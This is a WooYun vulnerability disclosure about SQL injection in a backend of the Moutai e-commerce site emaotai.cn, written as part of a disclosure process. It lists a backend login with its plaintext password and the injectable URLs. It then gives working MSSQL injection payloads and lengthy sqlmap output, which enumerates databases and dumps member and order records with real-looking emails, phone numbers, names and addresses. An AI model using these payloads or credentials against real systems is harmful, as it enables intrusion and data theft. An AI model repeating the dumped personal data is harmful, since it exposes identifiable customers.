当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153777

漏洞标题:茅台电商某后台存在SQL注射(DBA权限/18个库/47W会员/3.7W订单)

相关厂商:emaotai.cn

漏洞作者: 路人甲

提交时间:2015-11-17 12:07

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-17: 细节已通知厂商并且等待厂商处理中
2015-11-17: 厂商已经确认,细节仅向厂商公开
2015-11-27: 细节向核心白帽子及相关领域专家公开
2015-12-07: 细节向普通白帽子公开
2015-12-17: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

详细说明:

http://www.emaotai.cn:90/zyd/LoginTo.aspx


账号:wanglei
密码:123456
注入点:

http://www.emaotai.cn:90/zyd/Config/SpjgEdit.aspx?spbh=696&Op=&ReturnPage=~/Config/SpjgList.aspx


http://www.emaotai.cn:90/zyd/Config/SpEdit.aspx?spbh=696

漏洞证明:

http://www.emaotai.cn:90/zyd/Config/SpjgEdit.aspx?spbh=696&Op=&ReturnPage=~/Config/SpjgList.aspx

为例

Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&Ret
onfig/SpjgList.aspx
---
[09:59:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[09:59:57] [INFO] fetching database users
[09:59:57] [INFO] the SQL query used returns 12 entries
[09:59:57] [INFO] retrieved: ##MS_PolicyEventProcessingLogin##
[09:59:57] [INFO] retrieved: ##MS_PolicyTsqlExecutionLogin##
[09:59:58] [INFO] retrieved: actuser
[09:59:58] [INFO] retrieved: bmDev
[09:59:58] [INFO] retrieved: dev
[09:59:58] [INFO] retrieved: distributor_admin
[09:59:58] [INFO] retrieved: hishop
[09:59:58] [INFO] retrieved: hishop_pj
[09:59:59] [INFO] retrieved: moutaiwssc
[09:59:59] [INFO] retrieved: mysys
[09:59:59] [INFO] retrieved: sa
[09:59:59] [INFO] retrieved: taxreader
database management system users [12]:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] actuser
[*] bmDev
[*] dev
[*] distributor_admin
[*] hishop
[*] hishop_pj
[*] moutaiwssc
[*] mysys
[*] sa
[*] taxreader


Payload: spbh=696';WAITFOR DELAY '0:0:5'--&Op=&ReturnPage=~/Config/SpjgList.
aspx
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&ReturnPage=~/C
onfig/SpjgList.aspx
---
[09:15:08] [INFO] testing Microsoft SQL Server
[09:15:08] [INFO] confirming Microsoft SQL Server
[09:15:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[09:15:09] [INFO] fetching database names
[09:15:09] [INFO] the SQL query used returns 18 entries
[09:15:09] [INFO] retrieved: distribution
[09:15:10] [INFO] retrieved: DrpEco
[09:15:10] [INFO] retrieved: drpecosdl
[09:15:10] [INFO] retrieved: DrpEcoTest
[09:15:10] [INFO] retrieved: eAct
[09:15:10] [INFO] retrieved: eActTest
[09:15:10] [INFO] retrieved: emaotai_act
[09:15:11] [INFO] retrieved: emaotai_act_test
[09:15:11] [INFO] retrieved: emaotai_logs
[09:15:11] [INFO] retrieved: hishop
[09:15:11] [INFO] retrieved: master
[09:15:11] [INFO] retrieved: model
[09:15:11] [INFO] retrieved: moutai
[09:15:12] [INFO] retrieved: moutaitest
[09:15:12] [INFO] retrieved: msdb
[09:15:12] [INFO] retrieved: ReportServer
[09:15:12] [INFO] retrieved: ReportServerTempDB
[09:15:12] [INFO] retrieved: tempdb
available databases [18]:
[*] distribution
[*] DrpEco
[*] drpecosdl
[*] DrpEcoTest
[*] eAct
[*] eActTest
[*] emaotai_act
[*] emaotai_act_test
[*] emaotai_logs
[*] hishop
[*] master
[*] model
[*] moutai
[*] moutaitest
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


Payload: spbh=696' AND 6031=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6031=6031) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113))) AND 'Kyfj'='Kyfj&Op=&ReturnPage=~/Config/SpjgList.aspx
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: spbh=696';WAITFOR DELAY '0:0:5'--&Op=&ReturnPage=~/Config/SpjgList.aspx
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&ReturnPage=~/Config/SpjgList.aspx
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
Database: hishop
+------------------------------------+---------+
| Table | Entries |
+------------------------------------+---------+
| dbo.Hishop_CouponItems | 2473863 |
| dbo.vw_Hishop_CouponInfo | 2473863 |
| dbo.aspnet_Users | 476461 |
| dbo.aspnet_Members | 476163 |
| dbo.vw_aspnet_Members | 476160 |
| dbo.Hishop_MessageContent | 104563 |
| dbo.Hishop_MemberMessageBox | 104376 |
| dbo.vw_Hishop_MemberMessageBox | 104372 |
| dbo.aspnet_UsersInRoles | 82569 |
| dbo.Hishop_OrderItems | 38087 |
| dbo.vw_Hishop_SaleDetails | 38079 |
| dbo.Hishop_Orders | 34782 |
| dbo.vw_Hishop_OrderItem | 20365 |
| dbo.Hishop_OrderOptions | 18255 |
| dbo.Hishop_ManagerMessageBox | 14680 |
| dbo.vw_Hishop_ManagerMessageBox | 14677 |
| dbo.Hishop_PointDetails | 14037 |
| dbo.xupiaoOrder | 12586 |
| dbo.Hishop_UserShippingAddresses | 11936 |
| dbo.Hishop_Logs | 9958 |
| dbo.Hishop_OrderDebitNote | 8451 |
| dbo.vw_Hishop_OrderDebitNote | 8445 |
| dbo.Hishop_SMSLog | 7394 |
| dbo.Hishop_BookingOrderSend | 4413 |
| dbo.Hishop_PhotoGallery | 3783 |
| dbo.Hishop_Favorite | 2375 |
| dbo.Hishop_ProductConsultations | 1396 |
| dbo.vw_Hishop_ProductConsultations | 1396 |
| dbo.t_sys_Columdef | 1261 |
| dbo.Hishop_ProductReviews | 1117 |
| dbo.vw_Hishop_ProductReviews | 1117 |
| dbo.HiShop_PayMentDetail | 656 |
| dbo.Hishop_PrivilegeInRoles | 541 |
| dbo.Hishop_SKUMemberPrice | 424 |
| dbo.Hishop_Products | 375 |
| dbo.Hishop_SKUs | 375 |
| dbo.vw_Hishop_BrowseProductList | 375 |
| dbo.vw_Hishop_ProductSkuList | 375 |
| dbo.Hishop_OrderRefund | 366 |
| dbo.vw_Hishop_OrderRefund | 366 |
| dbo.Hishop_ProductTag | 351 |
| dbo.Vshop_RelatedTopicProducts | 202 |
| dbo.Hishop_InpourRequest | 198 |
| dbo.t_sys_tabledef | 191 |
| dbo.Hishop_BalanceDetails | 175 |
| dbo.Hishop_ShoppingCarts | 158 |
| dbo.Hishop_LeaveCommentReplys | 131 |
| dbo.Hishop_LeaveComments | 127 |
| dbo.t_cx_sql | 114 |
| dbo.t_sys_StoreProc | 87 |
| dbo.aspnet_Managers | 82 |
| dbo.vw_aspnet_Managers | 71 |
| dbo.Vshop_HomeProducts | 69 |
| dbo.Hishop_Articles | 65 |
| dbo.vw_Hishop_Articles | 65 |
| dbo.Hishop_Coupons | 57 |
| dbo.Hishop_OrderReturns | 56 |
| dbo.vw_Hishop_OrderReturns | 56 |
| dbo.vshop_Reply | 47 |
| dbo.Hishop_ProductTypeBrands | 38 |
| dbo.Hishop_VoteItems | 38 |
| dbo.tmp_orders | 38 |
| dbo.Vshop_Topics | 32 |
| dbo.Hishop_Affiche | 28 |
| dbo.Hishop_Categories | 28 |
| dbo.Hishop_Hotkeywords | 28 |
| dbo.Hishop_PromotionMemberGrades | 28 |
| dbo.Hishop_Helps | 26 |
| dbo.Hishop_OrderReplace | 26 |
| dbo.vw_Hishop_Helps | 26 |
| dbo.vw_Hishop_OrderReplace | 26 |
| dbo.Hishop_PhotoCategories | 23 |
| dbo.Hishop_BundlingProductItems | 21 |
| dbo.Hishop_OrderSendNote | 20 |
| dbo.vw_Hishop_OrderSendNote | 20 |
| dbo.Hishop_CountDown | 19 |
| dbo.vw_Hishop_CountDown | 19 |
| dbo.vshop_Menu | 18 |
| dbo.Hishop_BrandCategories | 17 |
| dbo.Hishop_CouponsLog | 14 |
| dbo.Hishop_MessageTemplates | 13 |
| dbo.Hishop_Tags | 13 |
| dbo.Hishop_ExpressTemplates | 11 |
| dbo.Hishop_RelatedProducts | 11 |
| dbo.aspnet_Roles | 10 |
| dbo.Hishop_BundlingProducts | 9 |
| dbo.vshop_Message | 9 |
| dbo.Vshop_PrizeRecord | 9 |
| dbo.vw_Hishop_BundlingProducts | 9 |
| dbo.Hishop_Votes | 8 |
| dbo.Hishop_Banner | 7 |
| dbo.Hishop_Promotions | 7 |
| dbo.Hishop_ActivityProduct | 6 |
| dbo.Hishop_AttributeValues | 6 |
| dbo.Hishop_FriendlyLinks | 6 |
| dbo.Hishop_HelpCategories | 6 |
| dbo.vshop_ActivitySignUp | 6 |
| dbo.Hishop_ActivityManage | 5 |
| dbo.Hishop_ArticleCategories | 5 |
| dbo.Hishop_ProductTypes | 5 |
| dbo.aspnet_MemberGrades | 4 |
| dbo.Hishop_PaymentTypes | 4 |
| dbo.Hishop_TemplateRelatedShipping | 4 |
| dbo.Hishop_MemberClientSet | 3 |
| dbo.Hishop_RelatedArticsProducts | 3 |
| dbo.CustomMade_WebPoints | 2 |
| dbo.Hishop_Attributes | 2 |
| dbo.Hishop_OrderLookupItems | 2 |
| dbo.Hishop_ShippingTypes | 2 |
| dbo.Hishop_EmailQueue | 1 |
| dbo.Hishop_GroupBuy | 1 |
| dbo.Hishop_GroupBuyCondition | 1 |
| dbo.Hishop_MessageWhiteList | 1 |
| dbo.Hishop_OrderLookupLists | 1 |
| dbo.Hishop_ProductBooking | 1 |
| dbo.Hishop_Shippers | 1 |
| dbo.Hishop_ShippingTemplates | 1 |
| dbo.Hishop_TableLock | 1 |
| dbo.t_sys_project | 1 |
| dbo.vw_Hishop_GroupBuy | 1 |
+------------------------------------+---------+


Payload: spbh=696' AND 6031=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(107
)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6031=6031) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113))) AND 'Kyfj'='Kyfj&Op=&R
eturnPage=~/Config/SpjgList.aspx
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: spbh=696';WAITFOR DELAY '0:0:5'--&Op=&ReturnPage=~/Config/SpjgList.
aspx
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&ReturnPage=~/C
onfig/SpjgList.aspx
---
[09:57:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[09:57:13] [INFO] fetching columns for table 'vw_aspnet_Members' in database 'hi
shop'
[09:57:13] [INFO] the SQL query used returns 38 entries
[09:57:13] [INFO] retrieved: Address
[09:57:14] [INFO] retrieved: nvarchar
[09:57:14] [INFO] retrieved: Balance
[09:57:15] [INFO] retrieved: money
[09:57:15] [INFO] retrieved: BirthDate
[09:57:15] [INFO] retrieved: datetime
[09:57:16] [INFO] retrieved: CellPhone
[09:57:17] [INFO] retrieved: nvarchar
[09:57:17] [INFO] retrieved: Comment
[09:57:17] [INFO] retrieved: ntext
[09:57:18] [INFO] retrieved: CountBuy
[09:57:18] [INFO] retrieved: money
[09:57:18] [INFO] retrieved: CreateDate
[09:57:19] [INFO] retrieved: datetime
[09:57:19] [INFO] retrieved: Email
[09:57:20] [INFO] retrieved: nvarchar
[09:57:20] [INFO] retrieved: Expenditure
[09:57:20] [INFO] retrieved: money
[09:57:20] [INFO] retrieved: Gender
[09:57:21] [INFO] retrieved: int
[09:57:21] [INFO] retrieved: GradeId
[09:57:21] [INFO] retrieved: int
[09:57:21] [INFO] retrieved: GradeName
[09:57:21] [INFO] retrieved: nvarchar
[09:57:21] [INFO] retrieved: IsAnonymous
[09:57:22] [INFO] retrieved: bit
[09:57:22] [INFO] retrieved: IsApproved
[09:57:22] [INFO] retrieved: bit
[09:57:22] [INFO] retrieved: IsLockedOut
[09:57:22] [INFO] retrieved: bit
[09:57:23] [INFO] retrieved: LastActivityDate
[09:57:23] [INFO] retrieved: datetime
[09:57:23] [INFO] retrieved: LastLockoutDate
[09:57:23] [INFO] retrieved: datetime
[09:57:23] [INFO] retrieved: LastLoginDate
[09:57:24] [INFO] retrieved: datetime
[09:57:24] [INFO] retrieved: LastPasswordChangedDate
[09:57:24] [INFO] retrieved: datetime
[09:57:24] [INFO] retrieved: MSN
[09:57:24] [INFO] retrieved: nvarchar
[09:57:25] [INFO] retrieved: OrderNumber
[09:57:25] [INFO] retrieved: int
[09:57:25] [INFO] retrieved: PasswordFormat
[09:57:25] [INFO] retrieved: int
[09:57:25] [INFO] retrieved: PasswordQuestion
[09:57:25] [INFO] retrieved: nvarchar
[09:57:26] [INFO] retrieved: Points
[09:57:26] [INFO] retrieved: int
[09:57:26] [INFO] retrieved: QQ
[09:57:26] [INFO] retrieved: nvarchar
[09:57:26] [INFO] retrieved: RealName
[09:57:26] [INFO] retrieved: nvarchar
[09:57:27] [INFO] retrieved: ReferralUserId
[09:57:27] [INFO] retrieved: int
[09:57:27] [INFO] retrieved: RegionId
[09:57:27] [INFO] retrieved: int
[09:57:27] [INFO] retrieved: RequestBalance
[09:57:27] [INFO] retrieved: money
[09:57:27] [INFO] retrieved: TelPhone
[09:57:28] [INFO] retrieved: nvarchar
[09:57:28] [INFO] retrieved: TopRegionId
[09:57:28] [INFO] retrieved: int
[09:57:28] [INFO] retrieved: TradePasswordFormat
[09:57:28] [INFO] retrieved: int
[09:57:29] [INFO] retrieved: Typeid
[09:57:29] [INFO] retrieved: int
[09:57:29] [INFO] retrieved: UserId
[09:57:29] [INFO] retrieved: int
[09:57:29] [INFO] retrieved: UserName
[09:57:29] [INFO] retrieved: nvarchar
[09:57:29] [INFO] retrieved: VipCardNumber
[09:57:30] [INFO] retrieved: nvarchar
[09:57:30] [INFO] retrieved: Wangwang
[09:57:30] [INFO] retrieved: nvarchar
[09:57:30] [INFO] retrieved: Zipcode
[09:57:30] [INFO] retrieved: nvarchar
[09:57:31] [INFO] fetching entries for table 'vw_aspnet_Members' in database 'hi
shop'
[09:57:31] [INFO] retrieved: 476148
[09:57:31] [INFO] fetching number of distinct values for column 'QQ'
[09:57:31] [INFO] retrieved: 5288
[09:57:31] [INFO] fetching number of distinct values for column 'MSN'
[09:57:32] [INFO] retrieved: 171
[09:57:32] [INFO] fetching number of distinct values for column 'Email'
[09:57:33] [INFO] retrieved: 447919
[09:57:33] [INFO] fetching number of distinct values for column 'Gender'
[09:57:33] [INFO] retrieved: 3
[09:57:33] [INFO] fetching number of distinct values for column 'Points'
[09:57:34] [INFO] retrieved: 2257
[09:57:34] [INFO] fetching number of distinct values for column 'Typeid'
[09:57:37] [INFO] retrieved: 1
[09:57:37] [INFO] fetching number of distinct values for column 'UserId'
[09:57:39] [INFO] retrieved: 476148
[09:57:39] [INFO] using column 'UserId' as a pivot for retrieving row data
[09:57:45] [INFO] retrieved: 100000
[09:57:45] [INFO] retrieved:
[09:57:46] [INFO] retrieved:
[09:57:46] [INFO] retrieved: 1456441872@qq.com
[09:57:47] [INFO] retrieved:
[09:57:47] [INFO] retrieved: 0
[09:57:47] [INFO] retrieved: 1
[09:57:47] [INFO] retrieved:
[09:57:48] [INFO] retrieved: 0.00
[09:57:48] [INFO] retrieved: 2015茅台有礼了
[09:57:49] [INFO] retrieved: 1
[09:57:49] [INFO] retrieved:
[09:57:49] [INFO] retrieved: 0.00
[09:57:50] [INFO] retrieved:
[09:57:50] [INFO] retrieved:
[09:57:50] [INFO] retrieved: 18762195186
[09:57:51] [INFO] retrieved: mu1456441872
[09:57:51] [INFO] retrieved:
[09:57:51] [INFO] retrieved:
[09:57:52] [INFO] retrieved: 18762195186
[09:57:52] [INFO] retrieved: 普通会员
[09:57:52] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:53] [INFO] retrieved: 1
[09:57:53] [INFO] retrieved: 0.00
[09:57:53] [INFO] retrieved: 0
[09:57:54] [INFO] retrieved: 0
[09:57:54] [INFO] retrieved: 0
[09:57:54] [INFO] retrieved:
[09:57:55] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:55] [INFO] retrieved:
[09:57:55] [INFO] retrieved: 0
[09:57:56] [INFO] retrieved:
[09:57:56] [INFO] retrieved: 0.00
[09:57:56] [INFO] retrieved: 01 \\\\?a02 1900 12:00AM
[09:57:57] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:57] [INFO] retrieved:
[09:57:57] [INFO] retrieved: 0
[09:57:58] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:59] [INFO] retrieved: 100001
[09:57:59] [INFO] retrieved:
[09:58:00] [INFO] retrieved:
[09:58:00] [INFO] retrieved: 1456443664@qq.com
[09:58:00] [INFO] retrieved:
[09:58:01] [INFO] retrieved: 0
[09:58:01] [INFO] retrieved: 1
[09:58:01] [INFO] retrieved:
[09:58:02] [INFO] retrieved: 0.00
[09:58:02] [INFO] retrieved: 2015茅台有礼了
[09:58:02] [INFO] retrieved: 1
[09:58:03] [INFO] retrieved:
[09:58:09] [INFO] retrieved: 0.00
[09:58:11] [INFO] retrieved:
[09:58:13] [INFO] retrieved:
[09:58:13] [INFO] retrieved: 13702153934
[09:58:14] [INFO] retrieved: dkkij1456443664
[09:58:15] [INFO] retrieved:
[09:58:15] [INFO] retrieved:
[09:58:16] [INFO] retrieved: 13702153934
[09:58:16] [INFO] retrieved: 普通会员
[09:58:16] [INFO] retrieved: 01 27 2015 11:11PM
[09:58:17] [INFO] retrieved: 1
[09:58:17] [INFO] retrieved: 0.00
[09:58:17] [INFO] retrieved: 0
[09:58:18] [INFO] retrieved: 0
[09:58:18] [INFO] retrieved: 0
[09:58:18] [INFO] retrieved:
[09:58:19] [INFO] retrieved: 01 27 2015 11:11PM
[09:58:19] [INFO] retrieved:


[09:52:37] [INFO] fetching entries for table 'Hishop_Orders' in database 'hishop
'
[09:52:37] [INFO] retrieved: 34777
[09:52:37] [INFO] fetching number of distinct values for column 'QQ'
[09:52:37] [INFO] retrieved: 0
[09:52:37] [INFO] fetching number of distinct values for column 'MSN'
[09:52:37] [INFO] retrieved: 0
[09:52:37] [INFO] fetching number of distinct values for column 'Tax'
[09:52:37] [INFO] retrieved: 1
[09:52:37] [INFO] fetching number of distinct values for column 'Amount'
[09:52:37] [INFO] retrieved: 3244
[09:52:37] [INFO] fetching number of distinct values for column 'Remark'
[09:52:38] [INFO] retrieved: 10707
[09:52:38] [INFO] fetching number of distinct values for column 'Sender'
[09:52:38] [INFO] retrieved: 0
[09:52:38] [INFO] fetching number of distinct values for column 'ShipTo'
[09:52:38] [INFO] retrieved: 11117
[09:52:38] [INFO] fetching number of distinct values for column 'UserId'
[09:52:38] [INFO] retrieved: 11798
[09:52:38] [INFO] fetching number of distinct values for column 'Weight'
[09:52:39] [INFO] retrieved: 875
[09:52:39] [INFO] fetching number of distinct values for column 'saving'
[09:52:39] [INFO] retrieved: 115
[09:52:39] [INFO] fetching number of distinct values for column 'Address'
[09:52:39] [INFO] retrieved: 13462
[09:52:39] [INFO] fetching number of distinct values for column 'Freight'
[09:52:39] [INFO] retrieved: 254
[09:52:39] [INFO] fetching number of distinct values for column 'Gateway'
[09:52:39] [INFO] retrieved: 8
[09:52:39] [INFO] fetching number of distinct values for column 'OrderId'
[09:52:40] [INFO] retrieved: 34777
[09:52:40] [INFO] using column 'OrderId' as a pivot for retrieving row data
[09:52:40] [INFO] retrieved: 06101700609060002
[09:52:40] [INFO] retrieved:
[09:52:40] [INFO] retrieved:
[09:52:40] [INFO] retrieved: 0.00
[09:52:40] [INFO] retrieved: 679.00
[09:52:41] [INFO] retrieved:
[09:52:41] [INFO] retrieved:
[09:52:41] [INFO] retrieved: 高文立
[09:52:41] [INFO] retrieved: 38887
[09:52:41] [INFO] retrieved: 0.00
[09:52:42] [INFO] retrieved: 0.00
[09:52:42] [INFO] retrieved: 贵阳市白云区
[09:52:42] [INFO] retrieved: 0.00
[09:52:42] [INFO] retrieved: hishop.plugins.payment.alipaydirect.directrequest
[09:52:42] [INFO] retrieved: 06 \\\\?a09 2009 12:00PM
[09:52:42] [INFO] retrieved: 550014
[09:52:43] [INFO] retrieved: 邮政EMS配送
[09:52:43] [INFO] retrieved: 高文立
[09:52:43] [INFO] retrieved: 3357
[09:52:43] [INFO] retrieved:
[09:52:44] [INFO] retrieved: gwl
[09:52:44] [INFO] retrieved:
[09:52:44] [INFO] retrieved: 8169299
[09:52:44] [INFO] retrieved: 0
[09:52:44] [INFO] retrieved:
[09:52:45] [INFO] retrieved:
[09:52:45] [INFO] retrieved:
[09:52:45] [INFO] retrieved: 06 \\\\?a03 2009 \\\\?a01:59AM
[09:52:45] [INFO] retrieved:
[09:52:45] [INFO] retrieved:
[09:52:46] [INFO] retrieved: 0.00
[09:52:46] [INFO] retrieved: 3356
[09:52:46] [INFO] retrieved: 3357
[09:52:46] [INFO] retrieved: 3362
[09:52:46] [INFO] retrieved: 0
[09:52:46] [INFO] retrieved:
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved: 0
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved: 679
[09:52:48] [INFO] retrieved: 679.00
[09:52:48] [INFO] retrieved:
[09:52:48] [INFO] retrieved:
[09:52:48] [INFO] retrieved:
[09:52:48] [INFO] retrieved:
[09:52:49] [INFO] retrieved:
[09:52:49] [INFO] retrieved: 0.00
[09:52:49] [INFO] retrieved:
[09:52:49] [INFO] retrieved: 0.00
[09:52:49] [INFO] retrieved: 679.00
[09:52:50] [INFO] retrieved: 4
[09:52:50] [INFO] retrieved: 支付宝
[09:52:50] [INFO] retrieved: 1
[09:52:50] [INFO] retrieved:
[09:52:50] [INFO] retrieved: 0.00
[09:52:50] [INFO] retrieved:
[09:52:51] [INFO] retrieved: gwl198@163.com
[09:53:07] [INFO] retrieved: 测试单位
[09:53:08] [INFO] retrieved: 邮政EMS配送
[09:53:08] [INFO] retrieved:
[09:53:08] [INFO] retrieved:
[09:53:08] [INFO] retrieved: 0
[09:53:08] [INFO] retrieved: 01 \\\\?a01 1900 12:00AM
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved: 0.00
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved: 4
[09:53:10] [INFO] retrieved:
[09:53:10] [INFO] retrieved:
[09:53:10] [INFO] retrieved: 0.00
[09:53:10] [INFO] retrieved:
[09:53:10] [INFO] retrieved:
[09:53:11] [INFO] retrieved: 0.00
[09:53:11] [INFO] retrieved: 9
[09:53:11] [INFO] retrieved: 贵州省,贵阳市,贵阳白云区
[09:53:11] [INFO] retrieved: 0.00
[09:53:12] [INFO] retrieved: 0
[09:53:12] [INFO] retrieved:
[09:53:12] [INFO] retrieved: 0.00
[09:53:12] [INFO] retrieved:
[09:53:12] [INFO] retrieved: 0
[09:53:12] [INFO] retrieved: 0.00
[09:53:13] [INFO] retrieved: 0
[09:53:13] [INFO] retrieved: ems
[09:53:13] [INFO] retrieved: EMS
[09:53:13] [INFO] retrieved: 9
[09:53:13] [INFO] retrieved:
[09:53:14] [INFO] retrieved:
[09:53:14] [INFO] retrieved:
[09:53:14] [INFO] retrieved:
[09:53:15] [INFO] retrieved:
[09:53:15] [INFO] retrieved:
[09:53:16] [INFO] retrieved:
[09:53:16] [INFO] retrieved: 06101700609060003
[09:53:16] [INFO] retrieved:
[09:53:16] [INFO] retrieved:
[09:53:16] [INFO] retrieved: 0.00
[09:53:16] [INFO] retrieved: 1210.00
[09:53:17] [INFO] retrieved:
[09:53:17] [INFO] retrieved:
[09:53:17] [INFO] retrieved: 高文立
[09:53:17] [INFO] retrieved: 38887
[09:53:17] [INFO] retrieved: 2.00

修复方案:

过滤SQL特殊字符

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-11-17 14:17

厂商回复:

感谢您的反馈,我们将尽快处理这个问题。

最新状态:

暂无